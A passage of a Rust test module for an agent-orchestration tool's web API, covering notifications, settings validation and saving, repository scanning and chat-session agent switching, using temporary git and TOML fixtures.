11288 async fn a_free_text_question_takes_text_and_not_a_choice() {
11289 let fx = Fixture::start().await;
11290 let id = ask(&fx, "What should the flag be called?", &[]);
11291 fx.questions().beat(&id, ask::WaiterKind::Asker);
11292 let path = format!("/api/questions/{id}/answer");
11293
11294 assert_eq!(
11295 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11296 400
11297 );
11298 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11299 assert_eq!(res.status, 200, "{}", res.body);
11300 assert_eq!(res.json()["answer"]["text"], "--json");
11301 }
11302
11303 #[tokio::test]
11304 async fn an_unknown_question_is_a_json_404() {
11305 let fx = Fixture::start().await;
11306 let res = fx
11307 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11308 .await;
11309 assert_eq!(res.status, 404, "{}", res.body);
11310 assert!(res.json()["error"].is_string());
11311 }
11312
11313 #[tokio::test]
11314 async fn notifications_list_read_dismiss_and_health_agree() {
11315 let fx = Fixture::start().await;
11316 let store = Notices::at(fx.home.path().join("notifications"));
11317 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11318 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11319
11320 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11321 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11322
11323 store
11324 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11325 .unwrap();
11326 let health = fx.get("/api/health").await.json();
11327 assert_eq!(health["notifications_unread"], 2);
11328 assert_ne!(
11329 health["notifications_rev"], rev0,
11330 "the badge must move live"
11331 );
11332
11333 let listed = fx.get("/api/notifications").await.json();
11334 assert_eq!(listed["unread"], 2);
11335 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11336 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11337
11338 let read = fx
11339 .post(&format!("/api/notifications/{}/read", a.id), None)
11340 .await;
11341 assert_eq!(read.status, 200, "{}", read.body);
11342 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11343
11344 let gone = fx
11345 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11346 .await;
11347 assert_eq!(gone.status, 200, "{}", gone.body);
11348 let listed = fx.get("/api/notifications").await.json();
11349 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11350 assert_eq!(listed["unread"], 0);
11351
11352 store.raise(Notice::info("x", "again")).unwrap();
11353 let all = fx.post("/api/notifications/read-all", None).await;
11354 assert_eq!(all.status, 200, "{}", all.body);
11355 assert_eq!(all.json()["marked"], 1);
11356 assert_eq!(
11357 fx.get("/api/health").await.json()["notifications_unread"],
11358 0
11359 );
11360
11361 let missing = fx.post("/api/notifications/nope/read", None).await;
11362 assert_eq!(missing.status, 404, "{}", missing.body);
11363 assert!(missing.json()["error"].is_string());
11364 }
11365
11366 #[tokio::test]
11373 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11374 let f = Fixture::start().await;
11375
11376 let res = f
11377 .post(
11378 "/api/queue",
11379 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11380 )
11381 .await;
11382
11383 assert_eq!(
11384 res.status, 405,
11385 "POST /api/queue must not be a route: {}",
11386 res.body
11387 );
11388 assert!(
11389 f.queue().list().is_empty(),
11390 "a task filed by a route that does not exist must not reach the disk"
11391 );
11392 assert_eq!(f.get("/api/queue").await.status, 200);
11395 }
11396
11397 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11399 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11400 .expect("checkout dir");
11401 }
11402
11403 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11405
11406 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11407 let tmp = TempDir::new().expect("tempdir");
11408 let repo = tmp.path().join("repo");
11409 std::fs::create_dir_all(&repo).expect("repo dir");
11410 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11411 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11412 if let Some(text) = machine_toml {
11413 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11414 std::fs::write(&machine, text).expect("machine toml");
11415 }
11416 (tmp, repo, machine)
11417 }
11418
11419 async fn settings_checkout(path: &FsPath, text: &str) {
11420 std::fs::create_dir_all(path).unwrap();
11421 std::fs::write(path.join("magi.toml"), text).unwrap();
11422 for args in [
11423 vec!["init", "-b", "main"],
11424 vec!["add", "magi.toml"],
11425 vec![
11426 "-c",
11427 "user.name=Test",
11428 "-c",
11429 "user.email=test@example.invalid",
11430 "commit",
11431 "-m",
11432 "fixture",
11433 ],
11434 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11435 vec![
11436 "symbolic-ref",
11437 "refs/remotes/origin/HEAD",
11438 "refs/remotes/origin/main",
11439 ],
11440 ] {
11441 crate::git::git(path, &args).await.unwrap();
11442 }
11443 }
11444
11445 #[tokio::test]
11446 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11447 let (tmp, repo, machine) =
11448 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11449 let root = tmp.path().join("roots");
11450 let selected = root.join("host/owner/selected");
11451 settings_checkout(
11452 &selected,
11453 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11454 )
11455 .await;
11456 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11457 let before = std::fs::read(&machine).unwrap();
11458 let ui = Arc::new(
11459 Ui::new(
11460 Queue::at(tmp.path().join("queue")),
11461 Questions::at(tmp.path().join("questions")),
11462 Talks::at(tmp.path().join("talks")),
11463 tmp.path().join("runs"),
11464 tmp.path().to_path_buf(),
11465 repo.clone(),
11466 )
11467 .with_machine_config(Some(machine.clone())),
11468 );
11469 let query = || {
11470 Query(SettingsQuery {
11471 repo: Some(selected.clone()),
11472 })
11473 };
11474 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11475 assert!(v.error.is_none(), "{:?}", v.error);
11476 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11477 assert_eq!(conductor.source, "repo");
11478 assert_eq!(
11479 conductor.machine_value,
11480 Some(toml::Value::String("a".into()))
11481 );
11482 assert!(!conductor.editable);
11483 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11484 assert_eq!(
11485 judges.count.as_ref().unwrap().machine_value,
11486 Some(toml::Value::Integer(1))
11487 );
11488 assert!(
11489 !v.roles
11490 .iter()
11491 .find(|r| r.key == "reviewers")
11492 .unwrap()
11493 .editable
11494 );
11495 let unknown = || {
11496 Query(SettingsQuery {
11497 repo: Some(tmp.path().to_path_buf()),
11498 })
11499 };
11500 assert_eq!(
11501 settings_get(State(ui.clone()), unknown())
11502 .await
11503 .unwrap_err()
11504 .status,
11505 StatusCode::UNPROCESSABLE_ENTITY
11506 );
11507 let body = || {
11508 Ok(Json(RolesBody {
11509 revision: v.revision.clone(),
11510 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11511 counts: Default::default(),
11512 }))
11513 };
11514 assert_eq!(
11515 settings_put_roles(State(ui.clone()), unknown(), body())
11516 .await
11517 .unwrap_err()
11518 .status,
11519 StatusCode::UNPROCESSABLE_ENTITY
11520 );
11521 assert_eq!(std::fs::read(&machine).unwrap(), before);
11522 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11523 .await
11524 .unwrap();
11525 assert_eq!(
11526 saved.repo,
11527 selected.canonicalize().unwrap().display().to_string()
11528 );
11529 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11530 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11531 let fresh = root.join("host/owner/fresh");
11533 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11534 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11535 .await
11536 .unwrap();
11537 assert_eq!(fresh_view.repositories.len(), 3);
11538 }
11539
11540 #[tokio::test]
11541 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11542 let (tmp, repo, machine) = settings_dirs(
11543 "[roles]\nreviewers = [\"a\"]\n",
11544 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11545 );
11546 let root = tmp.path().join("roots");
11547 let selected = root.join("host/owner/selected");
11548 settings_checkout(
11549 &selected,
11550 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11551 )
11552 .await;
11553 let broken = root.join("host/owner/broken");
11554 settings_checkout(&broken, "[roles\nbroken").await;
11555 let machine_text = format!(
11556 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11557 toml::Value::String(root.display().to_string())
11558 );
11559 std::fs::write(&machine, &machine_text).unwrap();
11560 let originals: Vec<_> = [&repo, &selected, &broken]
11561 .iter()
11562 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11563 .collect();
11564 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11565 let default = f.get("/api/settings").await.json();
11566 assert_eq!(
11567 default["repo"],
11568 repo.canonicalize().unwrap().display().to_string()
11569 );
11570 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11571 let query = format!("?repo={}", selected.display());
11572 let res = f.get(&format!("/api/settings{query}")).await;
11573 assert_eq!(res.status, 200, "{}", res.body);
11574 let v = res.json();
11575 assert!(v["error"].is_null(), "{v}");
11576 assert_eq!(v["repositories"], default["repositories"]);
11577 let role = |key: &str| {
11578 v["roles"]
11579 .as_array()
11580 .unwrap()
11581 .iter()
11582 .find(|r| r["key"] == key)
11583 .unwrap()
11584 };
11585 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11586 assert_eq!(role("advisors")["source"], "repo");
11587 assert_eq!(role("advisors")["editable"], false);
11588 assert!(role("advisors")["machine_value"].is_null());
11589 assert_eq!(role("judges")["count"]["value"], 2);
11590 assert_eq!(role("judges")["count"]["machine_value"], 1);
11591 assert_eq!(role("judges")["count"]["source"], "repo");
11592 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11593 assert!(
11594 source.contains("origin/main") && !source.contains("magi/config/"),
11595 "{source}"
11596 );
11597 assert_eq!(
11598 role("reviewers")["editable"],
11599 false,
11600 "default context outside roots must protect its declarations"
11601 );
11602 let body =
11603 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11604 let unknown = format!("?repo={}", tmp.path().display());
11605 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11606 assert_eq!(
11607 f.put(&format!("/api/settings/roles{unknown}"), &body)
11608 .await
11609 .status,
11610 422
11611 );
11612 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11613 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11614 .to_string();
11615 assert_eq!(
11616 f.put(&format!("/api/settings/roles{query}"), &refuse)
11617 .await
11618 .status,
11619 422
11620 );
11621 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11622 assert_eq!(saved.status, 200, "{}", saved.body);
11623 assert_eq!(saved.json()["repo"], v["repo"]);
11624 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11625 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11626 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11627 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11628 }
11629 let error = f
11630 .get(&format!("/api/settings?repo={}", broken.display()))
11631 .await;
11632 assert_eq!(error.status, 200);
11633 assert!(error.json()["error"]["message"].is_string());
11634 assert_eq!(error.json()["repositories"], default["repositories"]);
11635 }
11636
11637 #[tokio::test]
11638 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11639 let (_tmp, repo, machine) =
11640 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11641 let f = Fixture::with_repo_and_machine(repo, machine).await;
11642 let res = f.get("/api/settings").await;
11643 assert_eq!(res.status, 200, "{}", res.body);
11644 let v = res.json();
11645 assert!(v["error"].is_null(), "{v}");
11646 let role = |k: &str| {
11647 v["roles"]
11648 .as_array()
11649 .and_then(|r| r.iter().find(|x| x["key"] == k))
11650 .cloned()
11651 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11652 };
11653 assert_eq!(role("judges")["source"], "machine");
11654 assert_eq!(role("judges")["editable"], true);
11655 assert_eq!(role("implementers")["source"], "default");
11656 let adv = role("advisors");
11657 assert_eq!(adv["fallback"], "judges");
11658 assert!(
11659 adv["seats"]
11660 .as_array()
11661 .is_some_and(|s| s.iter().all(|x| x == "b")),
11662 "{adv}"
11663 );
11664 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11665 assert_eq!(v["agents"][0]["source"], "repo");
11666 }
11667
11668 #[tokio::test]
11669 async fn settings_get_reports_a_config_that_does_not_parse() {
11670 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11671 let f = Fixture::with_repo_and_machine(repo, machine).await;
11672 let res = f.get("/api/settings").await;
11673 assert_eq!(res.status, 200, "{}", res.body);
11674 let v = res.json();
11675 assert!(v["error"]["message"].is_string(), "{v}");
11676 assert!(
11677 v["error"]["path"]
11678 .as_str()
11679 .is_some_and(|p| p.ends_with("magi.toml")),
11680 "{v}"
11681 );
11682 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11683 }
11684
11685 #[tokio::test]
11686 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11687 let (_tmp, repo, machine) = settings_dirs(
11688 SETTINGS_AGENTS,
11689 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11690 );
11691 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11692 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11693 let rev = f.get("/api/settings").await.json()["revision"]
11694 .as_str()
11695 .expect("revision")
11696 .to_owned();
11697 let body = serde_json::json!({
11698 "revision": rev,
11699 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11700 })
11701 .to_string();
11702 let res = f.put("/api/settings/roles", &body).await;
11703 assert_eq!(res.status, 200, "{}", res.body);
11704 let text = std::fs::read_to_string(&machine).expect("machine");
11705 assert_eq!(
11706 text,
11707 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11708 );
11709 assert_eq!(
11710 std::fs::read(repo.join("magi.toml")).expect("read"),
11711 repo_before
11712 );
11713 let again = f.get("/api/settings").await.json();
11714 let judges = again["roles"]
11715 .as_array()
11716 .expect("roles")
11717 .iter()
11718 .find(|r| r["key"] == "judges")
11719 .expect("judges")
11720 .clone();
11721 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11722 let stale = f.put("/api/settings/roles", &body).await;
11724 assert_eq!(stale.status, 409, "{}", stale.body);
11725 }
11726
11727 #[tokio::test]
11728 async fn settings_counts_are_reported_and_saved() {
11729 let (_tmp, repo, machine) = settings_dirs(
11730 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11731 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11732 );
11733 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11734 let v = f.get("/api/settings").await.json();
11735 let count = |v: &serde_json::Value, k: &str| {
11736 v["roles"]
11737 .as_array()
11738 .and_then(|r| r.iter().find(|x| x["key"] == k))
11739 .map(|x| x["count"].clone())
11740 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11741 };
11742 let imp = count(&v, "implementers");
11743 assert_eq!(imp["value"], 2);
11744 assert_eq!(imp["source"], "machine");
11745 assert_eq!(imp["file_key"], "candidates");
11746 assert_eq!(imp["roster_len"], 2);
11747 assert_eq!(imp["backups"], 0);
11748 assert_eq!(count(&v, "judges")["source"], "default");
11749 assert_eq!(count(&v, "advisors")["min"], 0);
11750 assert_eq!(count(&v, "reviewers")["editable"], false);
11751 assert!(
11752 count(&v, "reviewers")["locked_reason"]
11753 .as_str()
11754 .is_some_and(|m| m.contains("graph.reviewers"))
11755 );
11756 assert!(count(&v, "fixer").is_null());
11757 let rev = v["revision"].as_str().expect("revision").to_owned();
11758 let body = serde_json::json!({
11759 "revision": rev,
11760 "roles": { "judges": ["b"] },
11761 "counts": { "implementers": 1, "advisors": 0 }
11762 })
11763 .to_string();
11764 let res = f.put("/api/settings/roles", &body).await;
11765 assert_eq!(res.status, 200, "{}", res.body);
11766 let text = std::fs::read_to_string(&machine).expect("machine");
11767 assert_eq!(
11768 text,
11769 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11770 );
11771 let after = f.get("/api/settings").await.json();
11772 assert_eq!(count(&after, "implementers")["value"], 1);
11773 assert_eq!(count(&after, "implementers")["backups"], 1);
11774 assert_eq!(count(&after, "advisors")["value"], 0);
11775 let before = std::fs::read_to_string(&machine).expect("machine");
11776 let rev = after["revision"].as_str().expect("revision").to_owned();
11777 for counts in [
11778 serde_json::json!({ "judges": 0 }),
11779 serde_json::json!({ "judges": "x" }),
11780 serde_json::json!({ "judges": 2.5 }),
11781 serde_json::json!({ "judges": -1 }),
11782 serde_json::json!({ "reviewers": 3 }),
11783 serde_json::json!({ "bogus": 3 }),
11784 ] {
11785 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11786 let res = f.put("/api/settings/roles", &body).await;
11787 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11788 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11789 }
11790 }
11791
11792 #[tokio::test]
11793 async fn settings_put_refuses_without_touching_the_file() {
11794 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11795 let (_tmp, repo, machine) = settings_dirs(
11796 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11797 Some(machine_text),
11798 );
11799 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11800 let rev = f.get("/api/settings").await.json()["revision"]
11801 .as_str()
11802 .expect("revision")
11803 .to_owned();
11804 for roles in [
11805 serde_json::json!({ "judges": ["nope"] }),
11806 serde_json::json!({ "reviewers": ["b"] }),
11807 serde_json::json!({ "bogus": ["a"] }),
11808 ] {
11809 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11810 let res = f.put("/api/settings/roles", &body).await;
11811 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11812 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11813 assert_eq!(
11814 std::fs::read_to_string(&machine).expect("machine"),
11815 machine_text
11816 );
11817 }
11818 }
11819
11820 #[tokio::test]
11821 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11822 let tmp = TempDir::new().expect("tempdir");
11823 let repo = tmp.path().join("repo");
11824 std::fs::create_dir_all(&repo).expect("repo dir");
11825 let root = tmp.path().join("root");
11826 make_checkout(&root, "github.com", "yukimemi", "magi");
11827 std::fs::write(
11828 repo.join("magi.toml"),
11829 format!(
11830 "[repos]\nroots = [{:?}]\n",
11831 root.to_string_lossy().into_owned()
11832 ),
11833 )
11834 .expect("write magi.toml");
11835
11836 let f = Fixture::with_repo(repo).await;
11837 let res = f.get("/api/repos").await;
11838 assert_eq!(res.status, 200, "{}", res.body);
11839 let list = res.json();
11840 let repos = list.as_array().expect("an array");
11841 assert_eq!(repos.len(), 1);
11842 assert_eq!(repos[0]["name"], "yukimemi/magi");
11843 assert!(
11844 repos[0]["path"]
11845 .as_str()
11846 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11847 "{list}"
11848 );
11849 }
11850
11851 #[tokio::test]
11852 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11853 let tmp = TempDir::new().expect("tempdir");
11854 let repo = tmp.path().join("repo");
11855 std::fs::create_dir_all(&repo).expect("repo dir");
11856 let root = tmp.path().join("root");
11857 make_checkout(&root, "github.com", "yukimemi", "magi");
11858 std::fs::write(
11859 repo.join("magi.toml"),
11860 format!(
11861 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11862 root.to_string_lossy().into_owned()
11863 ),
11864 )
11865 .expect("write magi.toml");
11866
11867 let f = Fixture::with_repo(repo).await;
11868 let first = f.get("/api/repos").await;
11869 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11870
11871 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11874 let second = f.get("/api/repos").await;
11875 assert_eq!(
11876 second.json().as_array().map(Vec::len),
11877 Some(1),
11878 "a fresh cache must not rescan inside the TTL"
11879 );
11880
11881 let refreshed = f.get("/api/repos?refresh=1").await;
11882 assert_eq!(
11883 refreshed.json().as_array().map(Vec::len),
11884 Some(2),
11885 "an explicit refresh must rescan even inside the TTL"
11886 );
11887 }
11888
11889 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11895
11896 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11900 let tmp = TempDir::new().expect("tempdir");
11901 let repo = tmp.path().join("repo");
11902 std::fs::create_dir_all(&repo).expect("repo dir");
11903 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11904 let f = Fixture::with_repo(repo.clone()).await;
11905 (tmp, repo, f)
11906 }
11907
11908 #[tokio::test]
11909 async fn posting_a_talk_with_remembered_choices_is_soft() {
11910 let (_tmp, _repo, f) = talk_fixture().await;
11911
11912 let good = f
11913 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11914 .await;
11915 assert_eq!(good.status, 201, "{}", good.body);
11916 assert_eq!(good.json()["persona"], "rei");
11917
11918 let stale = f
11920 .post(
11921 "/api/talks",
11922 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11923 )
11924 .await;
11925 assert_eq!(stale.status, 201, "{}", stale.body);
11926 let v = stale.json();
11927 assert_eq!(v["implementers"], 1);
11928 assert_ne!(v["persona"], "nobody");
11929 let typed = f
11930 .post(
11931 "/api/talks",
11932 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11933 )
11934 .await;
11935 assert_eq!(typed.status, 201, "{}", typed.body);
11936
11937 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11939 assert!(
11940 !strict.status.to_string().starts_with('2'),
11941 "{}",
11942 strict.body
11943 );
11944 }
11945
11946 #[tokio::test]
11947 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11948 let (_tmp, _repo, f) = talk_fixture().await;
11949
11950 let opened = f.post("/api/talks", None).await;
11953 assert_eq!(opened.status, 201, "{}", opened.body);
11954 let body = opened.json();
11955 assert_eq!(body["status"], "open");
11956 assert_eq!(
11957 body["turns"].as_array().unwrap().len(),
11958 0,
11959 "opening takes no agent turn: there is nothing yet to answer"
11960 );
11961
11962 let also_opened = f.post("/api/talks", Some("{}")).await;
11964 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
11965
11966 let listed = f.get("/api/talks").await.json();
11967 assert_eq!(listed.as_array().unwrap().len(), 2);
11968 }
11969
11970 #[tokio::test]
11971 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
11972 let tmp = TempDir::new().expect("tempdir");
11973 let repo = tmp.path().join("repo");
11974 std::fs::create_dir_all(&repo).expect("repo dir");
11975 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
11976 std::fs::write(
11977 repo.join("magi.toml"),
11978 format!("{MOCK_AGENT_TOML}\n{second}"),
11979 )
11980 .expect("write magi.toml");
11981 let home = TempDir::new().expect("temp home");
11982 let talks = Talks::at(home.path().join("talks"));
11983 let ui = Arc::new(
11984 Ui::new(
11985 Queue::at(home.path().join("queue")),
11986 Questions::at(home.path().join("questions")),
11987 talks.clone(),
11988 home.path().join("runs"),
11989 home.path().to_path_buf(),
11990 repo.clone(),
11991 )
11992 .with_worktrees_root(home.path().join("wt")),
11993 );
11994 let cfg = config_for(&repo).await.expect("discover config");
11995 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11996 let id = talk.id.clone();
11997 let call = |agent: &str| {
11998 talk_agent(
11999 State(Arc::clone(&ui)),
12000 Path(id.clone()),
12001 Json(TalkAgent {
12002 agent: agent.to_owned(),
12003 }),
12004 )
12005 };
12006
12007 let unknown = call("nobody").await.expect_err("unknown agent");
12008 assert_eq!(
12009 unknown.status,
12010 StatusCode::BAD_REQUEST,
12011 "{}",
12012 unknown.message
12013 );
12014
12015 {
12016 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12019 let busy = call("second").await.expect_err("busy talk");
12020 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12021 assert!(
12022 busy.message.contains("a talk turn is running"),
12023 "{}",
12024 busy.message
12025 );
12026 drop(guard);
12027 }
12028 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12029
12030 let Json(view) = call("second").await.expect("switch");
12031 assert_eq!(view.talk.agent, "second");
12032 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12033 let saved = talks.get(&id).expect("reload");
12034 assert_eq!(saved.agent, "second");
12035 assert_eq!(saved.turns.len(), 1);
12036 assert!(!view.thinking);
12037 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12038 for agent in ["mock", "second"] {
12039 let Json(view) = call(agent).await.expect("immediate consecutive change");
12040 assert_eq!(view.talk.agent, agent);
12041 assert!(!view.thinking);
12042 assert!(!ui.is_thinking(&id));
12043 }
12044
12045 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12046 .await
12047 .expect("detail");
12048 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12049 assert_eq!(roster, ["mock", "second"]);
12050
12051 let mut closed = talks.get(&id).expect("reload");
12052 talk::close(&mut closed, &talks).expect("close");
12053 let refused = call("mock").await.expect_err("closed talk");
12054 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12055 assert!(
12056 refused.message.contains("takes no more turns"),
12057 "{}",
12058 refused.message
12059 );
12060 }
12061
12062 #[tokio::test]
12063 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12064 let tmp = TempDir::new().expect("tempdir");
12065 let repo = tmp.path().join("repo");
12066 std::fs::create_dir_all(&repo).expect("repo dir");
12067 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12068 let home = TempDir::new().expect("temp home");
12069 let talks = Talks::at(home.path().join("talks"));
12070 let ui = Arc::new(
12071 Ui::new(
12072 Queue::at(home.path().join("queue")),
12073 Questions::at(home.path().join("questions")),
12074 talks.clone(),
12075 home.path().join("runs"),
12076 home.path().to_path_buf(),
12077 repo.clone(),
12078 )
12079 .with_worktrees_root(home.path().join("wt")),
12080 );
12081 let cfg = config_for(&repo).await.expect("discover config");
12082 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12083 let id = talk.id.clone();
12084 let call = |n: u8| {
12085 talk_implementers(
12086 State(Arc::clone(&ui)),
12087 Path(id.clone()),
12088 Json(TalkImplementers { implementers: n }),
12089 )
12090 };
12091
12092 for bad in [0u8, 4] {
12093 let e = call(bad).await.expect_err("out of range");
12094 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12095 }
12096 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12097
12098 {
12099 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12102 let busy = call(2).await.expect_err("busy talk");
12103 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12104 assert!(
12105 busy.message.contains("a talk turn is running"),
12106 "{}",
12107 busy.message
12108 );
12109 drop(guard);
12110 }
12111
12112 let Json(view) = call(3).await.expect("switch");
12113 assert_eq!(view.talk.implementers, 3);
12114 assert!(talks.get(&id).expect("reload").implementers_dirty);
12115 assert!(!view.thinking);
12116 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12117 for n in [1, 2, 3] {
12118 let Json(view) = call(n).await.expect("immediate consecutive change");
12119 assert_eq!(view.talk.implementers, n);
12120 assert!(!view.thinking);
12121 assert!(!ui.is_thinking(&id));
12122 }
12123
12124 let mut closed = talks.get(&id).expect("reload");
12125 talk::close(&mut closed, &talks).expect("close");
12126 let e = call(2).await.expect_err("closed talk");
12127 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12128 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12129 }
12130
12131 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12133 let tmp = TempDir::new().expect("tempdir");
12134 let repo = tmp.path().join("repo");
12135 std::fs::create_dir_all(&repo).expect("repo dir");
12136 std::fs::write(
12137 repo.join("magi.toml"),
12138 format!("{MOCK_AGENT_TOML}\n{extra}"),
12139 )
12140 .expect("write magi.toml");
12141 let home = TempDir::new().expect("temp home");
12142 let talks = Talks::at(home.path().join("talks"));
12143 let ui = Arc::new(
12144 Ui::new(
12145 Queue::at(home.path().join("queue")),
12146 Questions::at(home.path().join("questions")),
12147 talks.clone(),
12148 home.path().join("runs"),
12149 home.path().to_path_buf(),
12150 repo.clone(),
12151 )
12152 .with_worktrees_root(home.path().join("wt")),
12153 );
